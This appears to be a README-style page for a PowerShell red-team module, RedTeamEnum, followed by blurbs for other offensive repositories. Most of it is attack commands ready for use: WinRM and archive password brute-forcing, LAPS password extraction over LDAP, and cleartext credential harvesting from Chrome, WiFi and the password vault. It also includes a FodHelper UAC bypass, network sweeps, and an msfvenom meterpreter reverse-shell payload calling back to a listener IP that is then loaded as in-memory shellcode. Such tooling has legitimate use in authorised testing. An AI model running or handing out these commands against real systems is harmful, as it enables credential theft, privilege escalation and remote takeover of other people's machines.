Collection of PowerShell functions a Red Teamer may use to collect data from a machine or gain access to a target. I added ps1 files for the commands that are included in the RedTeamEnum module. This will allow you to easily find and use only one command if that is all you want. If you want the entire module perform the following actions after downloading the RedTeamEnum directory and contents to your device.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
#This will copy the module to a location that allows you to easily import it. If you are using OneDrive sync you may need to use $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum instead.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
#This will import all the commands in the module.
C:\PS> Get-Command -Module RedTeamEnum
#This will list all the commands in the module.
C:\PS> Convert-Base64 -Value “Convert me to base64!” -Encode
C:\PS> Convert-Base64 -Value “Q29udmVydCBtZSB0byBiYXNlNjQh” -Decode
C:\PS> Convert-SID -Username tobor
#The above example converts tobor its SID value
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
#The above value converts the SID value to its associated username
C:\PS> Test-BruteForceZipPassword -PassFile ‘C:\Users\USER\Downloads\Applications\pass.txt’ -Path ‘C:\Users\USER\Downloads\Applications\KiTTY.7z’ -ZipExe ‘C:\Program Files\7-Zip\7z.exe’
#This example uses the passwords in the pass.txt file to crack the password protected KiTTY.7z file
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username ‘admin’,’administrator’ -Passwd ‘Password123!’ -SleepMinutes 5
#This example will test the one password defined against both the admin and administrator users on the remote computer DC01.domain.com using WinRM over HTTPS with a time interval of 5 minutes between each attempt
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
#This example will test every password in rockyou.txt against every username in the users.txt file without any pause between tried attempts
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects
#The above returns all the properties of the returned objects
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property ‘Name’,’ms-Mcs-AdmPwd’
#If this is run as admin it will return the LAPS password for the local admin account
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like “user.samname”
#NOTE: If you include the “-Detailed” switch and pipe the output to where-object it will not return any properties. If you wish to display all the properties of your result it will need to be carried out using the below format
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
#The above example returns information on the share C$ on the local machine
#RESULTS
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
#The above example disocvers and returns information on NETLOGON, SYSVOL, and C$ on the 3 remote devices DC01, DC02, and 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
#Open HTTP Server on port 8000
#OR
C:\PS> Start-SimpleHTTPServer -Port 80
#Open HTTP Server on port 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
#NOTE: The source parameter only works if IP Source Routing value is “Yes”
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
#Default value for count is 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
#The below command will use the entered credentials to open the msf.exe executable as the user tobor
C:\PS> Invoke-UseCreds -Username ‘OsbornePro\tobor’ -Passwd ‘P@ssw0rd1’ -Path .\msf.exe -Verbose
C:\PS> Invoke-FodHelperBypass -Program “powershell” -Verbose
#OR
C:\PS> Invoke-FodHelperBypass -Program “cmd /c msf.exe” -Verbose
#Generate payload to use
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x5
Get-ClearTextPassword -All
The above command returns all the possible results the cmdlet is capable of. Individual locations can be searched as well. For Example
Get-ClearTextPassword -AutoLogon
More than one location can be defined in your search For Example
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…
Extract and execute a PE embedded within a PNG file using an LNK file. The…
Embark on the journey of becoming a certified Red Team professional with our definitive guide.…
This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…
This took me like 4 days (+2 days for an update), but I got it…
MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…